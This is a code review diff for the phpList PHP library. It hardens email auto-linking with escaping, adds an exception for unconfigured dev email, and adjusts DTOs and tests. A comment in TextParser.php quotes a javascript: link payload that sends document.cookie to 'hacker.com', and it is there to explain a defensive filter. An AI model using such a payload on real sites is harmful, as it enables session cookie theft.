After review 1

Author: tatevikg1

src/Domain/Common/ExternalImageService.php

@@ -202,6 +202,7 @@ private function isValidCacheFile(string $cacheFileName): bool
 
     private function writeCacheFile(string $cacheFileName, $content): void
     {
+        // phpcs:ignore Generic.PHP.NoSilencedErrors
         $bytes = @file_put_contents($cacheFileName, $content, LOCK_EX);
 
         if ($bytes === false) {

src/Domain/Common/RemotePageFetcher.php

@@ -116,9 +116,9 @@ private function prepareUrl(string $url, array $userData): string
         foreach ($userData as $key => $val) {
             if ($key !== 'password') {
                 $url = str_replace('[' . $key . ']', rawurlencode($val), $url);
-                $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8');
             }
         }
+        $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8');
 
         return $this->expandUrl($url);
     }

src/Domain/Common/TextParser.php

@@ -9,10 +9,20 @@ class TextParser
     public function __invoke(string $text): string
     {
         $text = ltrim($text);
-        $text = preg_replace(
-            '/([\._a-z0-9-]+@[\.a-z0-9-]+)/i',
-            '<a href="mailto:\\1" class="email">\\1</a>',
-            $text,
+        $text = preg_replace_callback(
+            '/\b([a-z0-9](?:[a-z0-9._%+-]{0,62}[a-z0-9])?@' .
+            '(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+' .
+            '[a-z]{2,63})\b/i',
+            static function (array $matches): string {
+                $email = $matches[1];
+
+                $emailEsc = htmlspecialchars($email, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
+
+                $mailto = rawurlencode($email);
+
+                return '<a href="mailto:' . $mailto . '" class="email">' . $emailEsc . '</a>';
+            },
+            $text
         );
         $linkPattern = '/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is';
         $link = [];
@@ -21,7 +31,7 @@ public function __invoke(string $text): string
             $url = $matches[2];
             $rest = $matches[3];
             if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) {
-                // avoid this
+                // Removing all colons breaks legitimate URLs but avoids this 🤷
                 //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
                 $url = preg_replace('/:/', '', $url);
             }

src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php

@@ -0,0 +1,15 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Exception;
+
+use LogicException;
+
+class DevEmailNotConfiguredException extends LogicException
+{
+    public function __construct()
+    {
+        parent::__construct('Sending email in dev mode, but dev email is not configured.');
+    }
+}

src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php

@@ -12,10 +12,10 @@ class MessagePrecacheDto
     public ?string $fromName = null;
     public ?string $fromEmail = null;
     public ?string $to = null;
-    public ?string $subject = null;
+    public string $subject = '';
     public ?string $content = null;
     public string $textContent = '';
-    public ?string $footer = null;
+    public string $footer = '';
     public ?string $textFooter = null;
     public string $htmlFooter = '';
     public bool $htmlFormatted = false;

src/Domain/Messaging/Service/Builder/EmailBuilder.php

@@ -7,6 +7,7 @@
 use PhpList\Core\Domain\Configuration\Model\ConfigOption;
 use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
 use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Exception\DevEmailNotConfiguredException;
 use PhpList\Core\Domain\Messaging\Service\SystemMailConstructor;
 use PhpList\Core\Domain\Messaging\Service\TemplateImageEmbedder;
 use PhpList\Core\Domain\Subscription\Repository\SubscriberRepository;
@@ -128,15 +129,14 @@ private function passesBlacklistCheck(?string $to, ?bool $skipBlacklistCheck): b
 
     private function resolveDestinationEmailAndMessage(?string $to, ?string $message): array
     {
-        $destinationEmail = '';
+        $destinationEmail = $to;
 
         if ($this->devVersion) {
             $message = 'To: ' . $to . PHP_EOL . $message;
-            if ($this->devEmail) {
-                $destinationEmail = $this->devEmail;
+            if (!$this->devEmail) {
+                throw new DevEmailNotConfiguredException();
             }
-        } else {
-            $destinationEmail = $to;
+            $destinationEmail = $this->devEmail;
         }
 
         return [$destinationEmail, $message];

tests/Unit/Domain/Common/TextParserTest.php

@@ -22,7 +22,7 @@ public function testEmailIsMadeClickable(): void
         $out = ($this->parser)($input);
 
         $this->assertSame(
-            'Contact me at <a href="mailto:foo.bar-1@example.co.uk" class="email">[email protected]</a>',
+            'Contact me at <a href="mailto:foo.bar-1%40example.co.uk" class="email">[email protected]</a>',
             $out
         );
     }

tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php

@@ -14,6 +14,7 @@
 use PhpList\Core\Domain\Messaging\Service\MessageDataLoader;
 use PHPUnit\Framework\MockObject\MockObject;
 use PHPUnit\Framework\TestCase;
+use Psr\Log\LoggerInterface;
 
 class MessageDataLoaderTest extends TestCase
 {
@@ -83,7 +84,8 @@ public function getListId(): int
             configProvider: $this->config,
             messageDataRepository: $this->messageDataRepository,
             messageRepository: $this->messageRepository,
-            defaultMessageAge: $defaultMessageAge,
+            logger: $this->createMock(LoggerInterface::class),
+            defaultMessageAge: $defaultMessageAge
         );
 
         $before = time();